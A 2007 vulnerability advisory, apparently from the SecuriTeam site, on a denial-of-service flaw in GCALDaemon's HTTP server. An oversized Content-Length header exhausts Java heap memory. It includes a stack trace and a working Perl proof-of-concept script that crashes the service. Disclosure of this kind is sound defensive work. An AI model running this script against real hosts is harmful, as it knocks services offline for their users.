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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	GCALDaemon DoS 19 Sep. 2007    Summary GCALDaemon is "an OS-independent Java program that offers two-way synchronization between Google Calendar and various iCalendar compatible calendar applications. GCALDaemon is primarily designed as a calendar synchronizer but it can also be used as a Gmail notifier, Address Book importer, Gmail terminal and RSS feed converter". Sunbird/Kontact/Firefox/ThunderBird/Mozilla Calendar all share calendars over HTTP, by uploading their file via an HTTP PUT and getting/refreshing their calendar with an HTTP GET. The GCALDaemon's built-in HTTP server keeps this HTTP messages in sync with a specified Google Calendar. An input validation flaw permits to craft an HTTP request with an abnormal content-length value; this malformed request could trigger a denial of service that arises from a Java out of memory fatal error.   Credit: The information has been provided by Luca Carettoni. Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * GALDaemon version 1.0-beta13 Using a crafted HTTP request, an attacker could trigger a denial of service that arises from a java.lang.OutOfMemoryError when the Java heap space is overfilled. In the file "org/gcaldaemon/core/http/HTTPListener.java", the GCALDaemon's built-in HTTP server parses the HTTP request and the HTTP header parameters without validation checkpoints. In the line of code "490:org/gcaldaemon/core/http/HTTPListener.java" the "Content-Length" header parameter is used to create a new byte array; when the size of this structure is big enough, it could trigger a Java fatal error that blocks the HTTP daemon: Exception in thread "HTTP listener" java.lang.OutOfMemoryError: Java heap space         at org.gcaldaemon.core.http.HTTPListener.readRequest(HTTPListener.java:490)         at org.gcaldaemon.core.http.HTTPListener.run(HTTPListener.java:167) Exploit: The provided proof-of-concept can trigger the issue. -------------------------------------------- #!/usr/bin/perl use strict; use warnings; use IO::Socket; my $host = shift || die "Usage: $0 host [port]\n"; my $port = shift || 9090; my $sock = new IO::Socket::INET(PeerAddr => $host, PeerPort => $port, PeerProto => 'tcp') or die "error: $!\n"; print "GCALDaemom DoS Expoit\n"; print "Just 4 seconds...\n"; sleep 4; $sock->send("GET / HTTP/1.1\r\n"); $sock->send("Content-Length: 1000000000\r\n\r\n"); $sock->close; print "\n\nNo more sync!\n"; --------------------------------------------  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles HP Data Protector LogBackupLocationStatus SQL Injection Vulnerabilty InduSoft WebStudio Unauthenticated Operations Code Execution Vulnerabilityy InduSoft WebStudio CEServer Operation 0x15 Code Execution Vulnerability HP Data Protector Notebook Extension RequestCopy SQL Injection Vulnerabilty HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty HP Data Protector Notebook Extension GetPolicies SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability HP Data Protector Notebook Extension LogClientHealth SQL Injection Vulnerabilty HP Data Protector Notebook Extension LogCopyOperation SQL Injection Vulnerabilty HP Data Protector Notebook Extension FinishedCopy SQL Injection Vulnerabilty Novell ZENWorks Software Packaging ISGrid.Grid2.1 Text Parameter Code Execution Vulnerabilit Adobe Reader BMP Image RLE Decoding Code Execution Vulnerability Apple QuickTime H264 Matrix Conversion Code Execution Vulnerability Apple QuickTime FLC Delta Decompression Code Execution Vulnerability Apple Quicktime PnPixPat PatType 3 Parsing Code Execution Vulnerability  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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